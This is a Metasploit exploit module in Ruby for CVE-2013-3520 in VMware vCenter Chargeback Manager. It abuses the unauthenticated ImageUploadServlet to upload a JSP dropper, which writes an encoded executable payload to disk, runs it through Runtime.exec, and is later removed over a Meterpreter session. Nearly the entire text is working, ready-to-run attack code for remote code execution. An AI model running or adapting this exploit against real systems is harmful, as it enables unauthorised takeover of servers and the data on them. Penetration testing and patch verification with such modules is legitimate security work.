VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
HttpFingerprint = { :pattern => [ /Apache.*Win32/ ] }  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload',  
'Description' => %q{  
This module exploits a code execution flaw in VMware vCenter Chargeback Manager,  
where the ImageUploadServlet servlet allows unauthenticated file upload. The files  
are uploaded to the /cbmui/images/ web path, where JSP code execution is allowed.  
The module has been tested successfully on VMware vCenter Chargeback Manager 2.0.1  
on Windows 2003 SP2.  
},  
'Author' =>  
[  
'Andrea Micalizzi', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-3520' ],  
[ 'OSVDB', '94188' ],  
[ 'BID', '60484' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-147/' ]  
],  
'Privileged' => true,  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'Targets' =>  
[  
[ 'VMware vCenter Chargeback Manager 2.0.1 / Windows 2003 SP2', { } ]  
],  
'DefaultOptions' =>  
{  
'SSL' => true  
},  
'DefaultTarget' => 0,  
'DisclosureDate' => 'May 15 2013'))  
  
register_options(  
[  
Opt::RPORT(443)  
], self.class)  
end  
  
#  
# Try to find and delete the jsp if we get a meterpreter.  
#  
def on_new_session(cli)  
  
if not @dropper or @dropper.empty?  
return  
end  
  
if cli.type != 'meterpreter'  
print_error("#{@peer} - Meterpreter not used. Please manually remove #{@dropper}")  
return  
end  
  
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")  
  
begin  
print_status("#{@peer} - Searching: #{@dropper}")  
files = cli.fs.file.search("\\", @dropper)  
if not files or files.empty?  
print_error("#{@peer} - Unable to find #{@dropper}. Please manually remove it.")  
return  
end  
  
files.each { |f|  
print_warning("Deleting: #{f['path'] + "\\" + f['name']}")  
cli.fs.file.rm(f['path'] + "\\" + f['name'])  
}  
print_good("#{@peer} - #{@dropper} deleted")  
return  
rescue ::Exception => e  
print_error("#{@peer} - Unable to delete #{@dropper}: #{e.message}")  
end  
end  
  
def upload_file(filename, contents)  
post_data = Rex::MIME::Message.new  
post_data.add_part(contents, "image/png", nil, "form-data; name=\"#{rand_text_alpha(4+rand(4))}\"; filename=\"#{filename}\"")  
  
# Work around an incompatible MIME implementation  
data = post_data.to_s  
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")  
  
res = send_request_cgi(  
{  
'uri' => normalize_uri("cbmui", "ImageUploadServlet"),  
'method' => 'POST',  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'cookie' => "JSESSIONID=#{@session}"  
})  
  
if res and res.code == 200  
return true  
else  
return false  
end  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri("cbmui", "en_US", "themes", "excel", "index.htm"),  
})  
  
if res and res.code == 200 and res.body =~ /vCenter Chargeback Manager/  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
@peer = "#{rhost}:#{rport}"  
  
print_status("#{@peer} - Uploading JSP to execute the payload")  
  
exe = payload.encoded_exe  
exe_filename = rand_text_alpha(8) + ".exe"  
  
# The JSP dropper is needed because there isn't directory traversal, just  
# arbitrary file upload to a web path where JSP code execution is allowed.  
dropper = jsp_drop_and_execute(exe, exe_filename)  
dropper_filename = rand_text_alpha(8) + ".jsp"  
  
if upload_file(dropper_filename, dropper)  
register_files_for_cleanup(exe_filename)  
@dropper = dropper_filename  
else  
fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed")  
end  
  
print_status("#{@peer} - Executing payload")  
send_request_cgi(  
{  
'uri' => normalize_uri("cbmui", "images", dropper_filename),  
'method' => 'GET'  
})  
end  
  
# This should probably go in a mixin  
def jsp_drop_bin(bin_data, output_file)  
jspraw = %Q|<%@ page import="java.io.*" %>\n|  
jspraw << %Q|<%\n|  
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|  
  
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|  
  
jspraw << %Q|int numbytes = data.length();\n|  
  
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|  
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|  
jspraw << %Q|{\n|  
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|  
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|  
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|  
jspraw << %Q| comb <<= 4;\n|  
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|  
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|  
jspraw << %Q|}\n|  
  
jspraw << %Q|outputstream.write(bytes);\n|  
jspraw << %Q|outputstream.close();\n|  
jspraw << %Q|%>\n|  
  
jspraw  
end  
  
def jsp_execute_command(command)  
jspraw = %Q|<%@ page import="java.io.*" %>\n|  
jspraw << %Q|<%\n|  
jspraw << %Q|try {\n|  
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|  
jspraw << %Q|} catch (IOException ioe) { }\n|  
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|  
jspraw << %Q|%>\n|  
  
jspraw  
end  
  
def jsp_drop_and_execute(bin_data, output_file)  
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)  
end  
  
end  
`